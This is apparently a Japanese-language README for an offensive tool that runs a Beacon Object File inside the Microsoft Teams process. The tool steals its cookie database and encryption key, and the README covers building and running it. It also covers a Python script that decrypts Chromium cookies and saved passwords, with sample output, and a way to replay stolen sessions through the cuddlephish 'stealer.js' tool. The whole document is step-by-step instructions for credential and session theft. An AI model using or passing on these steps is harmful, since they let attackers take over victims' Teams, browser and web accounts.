
Teamsのクッキーを盗み取る、ms-teams.exeプロセス内で実行中。関連記事: https://tierzerosecurity.co.nz/2025/11/03/teams-cookies-bof.html
基盤: https://blog.randorisec.fr/ms-teams-access-tokens/.
このツールは Cookie-Monster-BOF をベースにしています。
BOFは暗号化キーを抽出し、Cookiesファイルへのハンドルを持つ msedgewebview2.exe プロセスを特定し、ハンドルをコピーして、ファイルレスでターゲットファイルをダウンロードします。
Cookiesのダウンロード後、Python復号スクリプト(下記参照)を使用してそれらの秘密情報を抽出できます。
BOFは ms-teams.exe Teamsプロセス内で実行することを想定しています。BOFは引数を取りません。
コンパイル前にLinuxにMingw-w64とmakeがインストールされていることを確認してください。
make
依存関係のインストール
pip3 install -r requirements.txt
使用方法
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
例: Chrome/Edge Cookiesファイルの復号
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Chrome AES Keyを使用したChrome Cookiesの復号
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Chrome/Edge Cookiesファイルを復号してJSONに保存
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
https://cookie-editor.com/ でcookies JSONファイルをインポート
Chrome/Edgeパスワードファイルの復号
python .\decrypt.py -k "\xec\xfc...." -o passwords ChromePasswords.db
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Firefox Cookiesと保存された認証情報の復号:
https://github.com/lclevy/firepwd
cuddlephishオプションを復号スクリプトに追加しました。これにより、https://github.com/fkasler/cuddlephish でCookieを使用できるようになります。
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Clone Project
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
# Install Dependencies Example on Debian
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install
# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json
2025年におけるMicrosoft Teamsアクセストークンの窃取:
https://blog.randorisec.fr/ms-teams-access-tokens/
Cookie-Monster-BOF:
https://github.com/KingOfTheNOPs/cookie-monster
Cookie Webkitマスターキー抽出ツール:
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
ファイルレスダウンロード:
https://github.com/fortra/nanodump